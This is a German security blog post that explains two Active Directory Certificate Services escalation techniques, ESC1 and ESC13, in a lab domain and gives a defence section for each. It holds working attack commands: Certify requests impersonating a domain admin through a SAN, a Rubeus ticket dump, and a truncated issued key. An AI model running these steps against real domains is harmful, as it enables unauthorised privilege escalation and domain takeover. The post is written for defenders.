Im ersten Artikel über AD CS haben wir einige Grundlagen über diese Windows Server-Rolle behandelt und wie diese Umgebung für Angriffe anfällig sein kann. Wir sprachen über die Möglichkeiten der Domäneneskalation, insbesondere ESC8, die letzte Eskalationstechnik aus dem Whitepaper Certified Pre-Owned. Seit der Veröffentlichung dieses Papiers wurden sechs weitere Eskalationstechniken identifiziert und veröffentlicht. In diesem Beitrag werden wir ein wenig tiefer in die technischen Einzelheiten der ersten und einer der neuesten Techniken (bis heute), ESC1 und ESC13, eintauchen. Wir werden uns ansehen, wie diese beiden Eskalationstechniken eine ganze Domäne oder zumindest Teile davon kompromittieren können und wie komplex das Ganze ist – oder auch nicht.

Was gibt es neues in der Welt der AD-CS-Eskalationstechniken?

Nach der Veröffentlichung des Whitepapers erhielt das Thema mehr Aufmerksamkeit und es wurden weitere Techniken zur Privilegieneskalation für AD CS identifiziert. Es begann mit Oliver Lyak und seinem Post über ESC9, das sich auf ein in einer Zertifikatsvorlage gesetztes Flag bezieht, und ESC10 welches sich auf ein schwaches Zertifikats-Mapping bezieht (zwei Registrierungsschlüssel-Werte auf einem DC). Danach schrieb Sylvain Heiniger über ESC11, bei dem es wieder um ein NTLM-Relay-Angriff gegen die Zertifizierungsstelle geht, aber dieses Mal erfolgt die Zertifikatsanforderung über das ICertPassage Remote Protocol (ICPR). Hans-Joachim Knobloch hat den Beitrag ESC12 beigesteuert, in dem er über den Missbrauch von Shell-Zugriff auf CA-Server schreibt, um auf den privaten Schlüssel einer CA, in einem Hardware-Sicherheitsmodul (HSM), zuzugreifen. Die aktuellsten Domain Escalation Techniken ESC13 und ESC14 wurden von Jonas Bülow Knudsen am 14., respektive am 29. Februar diesen Jahres veröffentlicht. ESC14 ist nicht unbedingt neu, denn es wurde erstmals 2019 von Géraud de Drouas beschrieben und von Jean Marsault in einem Blogpost im Kapitel ACL exploit on user objects demonstriert. Obwohl es nicht neu ist, wird es mit seiner Aufnahme in die AD CS-Missbrauchstechniken wahrscheinlich mehr Aufmerksamkeit erhalten. Da die Anforderungen für diese Techniken sehr unterschiedlich sind, ist es wichtig, die Grundlagen dieser Techniken zu verstehen, um Prioritäten zu setzen, welche Techniken aus defensiver Sicht so schnell wie möglich angegangen werden müssen.

Einführung ESC1

Im ersten Artikel über AD CS haben wir uns einige der Informationen angesehen, die in Zertifikaten gespeichert sind, wie Issuer, Enhanced Key Usages und so weiter, die in der Zertifikatsvorlage vordefiniert werden können. ESC1 ermöglicht eine mögliche Kompromittierung der Domäne. Sehen wir uns die Voraussetzungen an, die erforderlich sind, damit die falsch konfigurierte Zertifikatsvorlage als ESC1 eingestuft werden kann:

• Enterprise CA gewährt niedrigprivilegierten Benutzern oder Gruppen, wie Domänenbenutzern, die Anmeldeberechtigung
• Issuance Requirements, die Registrierungsanforderungen auf der Vorlage erfordern keine Genehmigung des CA-Zertifikatsmanagers. Die Option “Diese Anzahl autorisierter Signaturen” ist für die Registrierung nicht erforderlich.
• Enrollment rights, Registrierungsrechte auf der CA-Vorlage erlauben Benutzern oder Gruppen mit geringen Rechten, wie z. B. Domänenbenutzern, Registrierungsrechte.
• Enhanced Key Usage für die Authentifizierung sind definiert. Dazu gehören Client Authentication, Smart Card Logon, PKINIT Client Authentication und Any Purpose
• Subject Name ist so eingestellt, dass dieser in der Anfrage angegeben werden kann, was bedeutet, dass der Antragsteller einen beliebigen SubjectAlternativeName (SAN) in einer Zertifikatsanfrage angeben kann.

Die Zertifikatsvorlage speichert den Wert der Konfiguration Subject Name in ihrem Active Directory-Objekt in der Eigenschaft msPKI-Certificate-Name-Flag. Wenn der Wert in der Vorlage auf Supply in the request gesetzt wurde, hat msPKI-Certificate-Name-Flag den Wert 1, der gleich CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ist. Die vollständige Liste der möglichen Werte finden Sie in der folgenden Microsoft-Dokumentation. Für den Moment sollten Sie sich CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT merken, da wir es später noch sehen werden. Es gibt eine recht einfache Möglichkeit, die Fehlkonfiguration für ESC1 zu erkennen, wenn Sie die Zertifikatsvorlage von Grund auf neu erstellen. Wenn die Einstellung Require the following for enrollment nicht auf Manager approval gesetzt ist und Subject Name auf Supply in the request gesetzt ist, wird die folgende Warnmeldung angezeigt:

Achtung: Wenn eine Vorlage dupliziert wird und die Einstellungen Subject Name und Issuance Requirements nicht geändert werden, gibt es keine weitere Warnmeldung! Ausserdem gibt es einige Vorlagen, bei denen das Flag ENROLLEE_SUPPLIES_SUBJECT bereits gesetzt ist, die Option Supply in the request ist auf true gesetzt, also aktiviert. Wenn es einen Business-Prozess gibt, der eine oder mehrere Master-Vorlagen vorsieht, kann es sehr schnell zu Fehlkonfigurationen für viele verschiedene Vorlagen kommen.

Schritt-für-Schritt Überblick

Wir gehen davon aus, dass wir auf einem Client Fuss gefasst haben und dass wir mindestens einen Benutzer, in diesem Fall erma, kompromittieren konnten. Von diesem Benutzer können wir eine der folgenden Aktionen durchführen, vorausgesetzt, wir haben es geschafft, lokale Admin-Rechte zu erhalten:

• Sharphound ausführen, die Daten auf einen anderen Offline-Rechner exportieren und alle möglichen Angriffspfade enumerieren, einschliesslich AD CS ESC.
• Wenn wir nur AD CS überprüfen wollen, können wir das Tool Certify auf dem kompromittierten Client verwenden.

Mit den von sharphound gesammelten Informationen können wir nun Folgendes in Bloodhound identifizieren:

Ziemlich nett, da auch alle Schritte beschrieben werden.

Mit Certify erhalten wir die folgenden Informationen:

Nachdem wir die Fehlkonfiguration identifiziert haben, verwenden wir certify, um ein neues Zertifikat auf den Namen eines hochprivilegierten Benutzers (DA01) anzufordern, der Teil der Domänenadministratorgruppe ist.

PS C:\tools> .\Certify.exe request /ca:Odin.labs.org\labs-ODIN-CA /template:ESC1Template /altname:DA01

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.1.0

[*] Action: Request a Certificates

[*] Current user context    : LABS\erma
[*] No subject name specified, using current context as subject.

[*] Template                : ESC1Template
[*] Subject                 : CN=erma, CN=Users, DC=labs, DC=org
[*] AltName                 : DA01

[*] Certificate Authority   : Odin.labs.org\labs-ODIN-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 8

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA5N5ut6P/DbiqvuLjVc0oD4JM4ye2XqDQ6+h1AoKC1bJbNO1J
8i7o1UQPiDjzjOqMgEtgu44Vjd6wR3sYrHJXtMR+QyLZF/Vda28AC8YrFoPJhJbx
e5VbJEmHCJe6/OXD/...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFnzCCBIegAwIBAgITSwAAAAj+vM+BfDr1kAAAAAAACDANBgkqhkiG9w0BAQsF
ADBCMRMwEQYKCZImiZPyLGQBGRYDb3JnMRQwEgYKCZImiZPyLGQBGRYEbGFiczEV
MBMGA1UEAxMMbGFic...
-----END CERTIFICATE-----

Nun können wir eine .pfx Version erstellen und diese zusammen mit dem Tool Rubeus verwenden, um ein Ticket Granting Ticket (TGT) als DA01 zu beantragen und ESC1 zu vollenden:

ESC1 Verteidigung

Es gibt eine Reihe von Schutzmassnahmen gegen ESC1. Die gebräuchlichste und einfachste besteht darin, den Antragstellern nicht zu erlauben, den SAN zu spezifizieren, während Manager approval deaktiviert ist. Selbst wenn die Manager approval aktiviert ist, kann ein versehentlicher Fehler passieren. Daher wird zusätzlich empfohlen, die Registrierung für nicht-privilegierte Benutzer oder Gruppen nicht zuzulassen, insbesondere für Vorlagen, die EKUs zur Authentifizierung enthalten. Weitere Informationen über Schutzmassnahmen finden Sie in folgendem Whitepaper.

Einführung Eskalationstechnik 13

Diese Technik wurde gerade erst am 14. Februar veröffentlicht. Sie ist um einiges komplexer als ESC1. Ein Angreifer kann auch hier die Privilegien ausweiten, die je nach Konfiguration nicht so einfach und meist nicht so weit wie bei ESC1 ist. Bei ESC13 geht es um den Missbrauch von Issuance Policies, die Certificate Templates zugewiesen werden können. Eine Issuance Policy ist eine Zertifikatserweiterung, mit der der Zugang zu einem System nur dann gewährt werden kann, wenn der Benutzer ein Zertifikat mit einer bestimmten Issuance Policy vorlegen kann. Wenn eine Ausstellungsrichtlinie auf der Registerkarte Erweiterungen einer Zertifikatsvorlage definiert ist, wird sie im AD-Objekt als ObjectIdentifier (OID) im Attribut msPKI-Certificate-Policy gespeichert. Die Ausgaberichtlinien sind unter CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=labs,DC=org gespeichert und haben ein Attribut msDS-OIDToGroupLink, mit dem eine Gruppe mit der Richtlinie verknüpft werden kann. Die Gruppe kann nur verknüpft werden, wenn sie leer ist und den Gruppenumfang universal hat. Im folgenden Beispiel heisst diese Gruppe ESC13Group und hat Zugriff auf die Freigabe Secret_Tools auf dem Domain Controller Odin.labs.org.

Die Voraussetzungen für diese Technik sind die folgenden:

• Der Benutzer hat Anmelderechte für die Zertifikatsvorlage.
• Die Zertifikatsvorlage hat keine Anforderungen für die Ausstellung, wie z. B. die Genehmigung des Managers, die nicht erfüllt werden kann.
• Das Zertifikat enthält EKUs, die für die Authentifizierung verwendet werden können.
• Die Zertifikatsvorlage enthält eine Issuance Policy.
• Die Issuance Policy hat einen Gruppenlink zu einer Gruppe.

Schritt-für-Schritt Überblick

Wir gehen von demselben Szenario aus wie im ESC1 Durchlauf. Wir haben auf einem Client Fuss gefasst und verfügen über mindestens einen Benutzer, in diesem Fall erma. Vom Benutzer erma führen wir das Powershell-Skript Check-ADCSESC13 von Jonas Bülow Knudsen aus, das uns hilft, Zertifikatsvorlagen zu identifizieren, die uns möglicherweise zusätzliche Gruppen-Mitgliedschaften gewähren können. Die Ausgabe des Skripts gibt uns folgende Informationen:

PS C:\tools> .\Check-ADCSESC13.ps1
Enumerating OIDs
------------------------
OID 15025159.30AEC464A81EEE6B13050EB222788277 links to group: CN=ESC13Group,CN=Users,DC=labs,DC=org

OID DisplayName: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159
OID DistinguishedName: CN=15025159.30AEC464A81EEE6B13050EB222788277,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=labs,DC=org
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159
OID msDS-OIDToGroupLink: CN=ESC13Group,CN=Users,DC=labs,DC=org
------------------------
Enumerating certificate templates
------------------------
Certificate template ESC13Template may be used to obtain membership of CN=ESC13Group,CN=Users,DC=labs,DC=org

Certificate template Name: ESC13Template
OID DisplayName: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159
OID DistinguishedName: CN=15025159.30AEC464A81EEE6B13050EB222788277,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=labs,DC=org
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159
OID msDS-OIDToGroupLink: CN=ESC13Group,CN=Users,DC=labs,DC=org
------------------------
Done

Jetzt können wir Certify erneut verwenden, um ein Zertifikat von der anfälligen Vorlage anzufordern:

PS C:\tools> .\Certify.exe request /ca:Odin.labs.org\labs-ODIN-CA /template:ESC13Template

Nachdem wir das Zertifikat erhalten haben, können wir das gleiche Verfahren wie zuvor anwenden. Wir erstellen eine .pfx Version und verwenden Rubeus, um ein TGT anzufordern. Dies gewährt uns den Zugang, als ob wir Mitglied der ESC13Group wären. Wenn wir das TGT entschlüsseln, können wir sehen, dass das Feld Groups einen zusätzlichen Wert 1112 hat, der mit der RID der ESC13Group übereinstimmt.

PS C:\tools> .\Rubeus.exe describe /servicekey:978... /ticket:doIFojCCBZ6gAwIBBaEDAgE...
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2


[*] Action: Describe Ticket


  ServiceName              :  krbtgt/labs.org
  ServiceRealm             :  LABS.ORG
  UserName                 :  erma
  UserRealm                :  LABS.ORG
  StartTime                :  4/8/2024 6:29:11 PM
  EndTime                  :  4/9/2024 4:29:11 AM
  RenewTill                :  4/15/2024 6:29:11 PM
  <...>
  Decrypted PAC            :
    LogonInfo              :
      <...>
      PrimaryGroupId       : 513
      GroupCount           : 2
      Groups               : 513,1112
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : ODIN
      LogonDomainName      : LABS
      <...>

PS C:\tools> Get-ADGroup ESC13Group -Properties Members


DistinguishedName : CN=ESC13Group,CN=Users,DC=labs,DC=org
GroupCategory     : Security
GroupScope        : Universal
Members           : {}
Name              : ESC13Group
ObjectClass       : group
ObjectGUID        : c88a5e40-10f8-47aa-b157-6b1f64dfe42a
SamAccountName    : ESC13Group
SID               : S-1-5-21-3095442552-3703507723-3996421468-1112

Nun prüfen wir, ob wir Zugriff auf die Freigabe haben, auf die nur Mitglieder der ESC13Group zugreifen dürfen:

Wo, wie und warum wird dies verwendet?

Dies wird in der Microsoft Authentication Mechanism Assurance (AMA) für Active Directory Domain Services (AD DS) verwendet. Wenn dies implementiert ist, können Benutzer unterschiedliche Berechtigungen haben, je nachdem, welche Anmeldemethode sie verwenden. Wenn sie sich mit einer Kombination aus Benutzername und Kennwort anmelden, verfügen sie über Standardbenutzerberechtigungen auf dem System. Wenn sie sich mit einer zertifikatsbasierten Anmeldung anmelden, verfügen sie über administrative Berechtigungen auf dem System. Wie funktioniert es also? AMA fügt dem Kerberos-Token des Benutzers bei der Authentifizierung eine vom Administrator festgelegte Gruppenmitgliedschaft hinzu, die aus dem Zertifikat stammt, das eine Ausstellungsrichtlinie hat, die mit einer universellen Gruppe in AD verknüpft ist. Mehr Informationen zu AMA können in diesem Microsoft Beitrag, im Beitrag use AMA to secure admin account logins oder Authentication Mechanism nachgelesen werden.

ESC13 Verteidigung

Wenn keine Absicht besteht, Konzepte wie Microsoft Authentication Mechanism Assurance zu implementieren, kann es von Vorteil sein, keine issuance policies oder Attribute wie msDS-OIDToGroupLink zu verwenden. Wenn ein Bedarf für diese Art von Zertifikatsvorlagen besteht, ist es sehr empfehlenswert, die Zertifikatsregistrierung zu überwachen. Prinzipale, die Zertifikate anfordern können, die mit Gruppen mit hohen Berechtigungen verknüpft sind, müssen getrennt und entsprechend überwacht werden. Die Windows-Ereignis-IDs und der Ansatz zur Überwachung von Benutzer- und Maschinenzertifikatsregistrierungen sowie von Zertifikatsauthentifizierungsereignissen sind im Whitepaper in den Abschnitten DETECT1 und DETECT2 ausführlich beschrieben.

Zusammenfassung

Während ESC1 eindeutig eine Fehlkonfiguration ist, kann man darüber diskutieren, ob ESC13 per se als dasselbe angesehen werden sollte. Die Funktion zur Verknüpfung von Issuance Policies mit Zertifikatsvorlagen und damit Zertifikaten wird von Microsoft Authentication Mechanism Assurance genutzt. Wenn es ein sauberes und durchdachtes Konzept für die Implementierung einer Funktion wie AMA gibt, kann es sinnvoll sein, administrative Konten auf diese Weise zu sichern. Es soll sicherstellen, dass die Benutzer Mitglied einer Sicherheitsgruppe sind und sich mit einer starken Authentifizierungsmethode, wie z. B. Smartcards, anmelden. Allerdings muss auf die Trennung der Konten geachtet werden. Konten, die die Erlaubnis haben, Zertifikate anzufordern, deren Issuance Policies Gruppenverknüpfungen zu hochprivilegierten Gruppen enthalten, müssen als hochwertige Benutzer/Ziele betrachtet werden. Eine Analyse des Angriffspfades soll helfen, die Abhängigkeiten der verschiedenen Benutzer, Gruppen, Objekte, etc. besser zu verstehen. Je nach Konfiguration der AD CS-Umgebung ist diese möglicherweise nicht anfällig gegen eine der einfacheren, bekannteren Techniken wie ESC1 – ESC8. Da sich die AD CS-Missbrauchstechniken jedoch ständig weiterentwickeln und neue Techniken identifiziert und veröffentlicht werden, ist es von entscheidender Bedeutung, über angemessene Gegenmassnahmen zu verfügen, wie regelmässige Audits der AD CS-Umgebung, Überwachung und Reaktionspläne.

Über den Autor

Eric Maurer hat eine IT-Ausbildung im Finanzsektor absolviert und konnte danach Erfahrungen in den Rollen Administrator, Engineer und Consultant sammeln. Dabei war er involviert in Entwicklung, Aufbau und Betrieb eines Enhanced Security Administrative Environment und dem internationalen Rollout von Active Directory Services. Zudem hat er Erfahrung mit Azure Active Directory mit Fokus auf Security.

Links

• https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
• https://github.com/GhostPack/Certify
• https://github.com/GhostPack/Rubeus
• https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1
• https://github.com/gdedrouas
• https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1
• https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/9b8ed605-6b00-41d1-9a2a-9897e40678fc
• https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd378897(v=ws.10)?redirectedfrom=MSDN
• https://medium.com/specter-ops-posts/adcs-esc14-abuse-technique-333a004dc2b9
• https://mendel129.wordpress.com/2015/10/05/authentication-mechanism-assurance/
• https://pkiblog.knobloch.info/author/hajo
• https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm
• https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
• https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
• https://specterops.io/assets/resources/Certified_Pre-Owned.pdf
• https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
• https://twitter.com/Jonas_B_K
• https://twitter.com/iansus
• https://twitter.com/ly4k_
• https://twitter.com/sploutchy
• https://www.gradenegger.eu/en/using-authentication-mechanism-assurance-ama-to-secure-the-login-of-administrative-accounts/
• https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/#section-3-4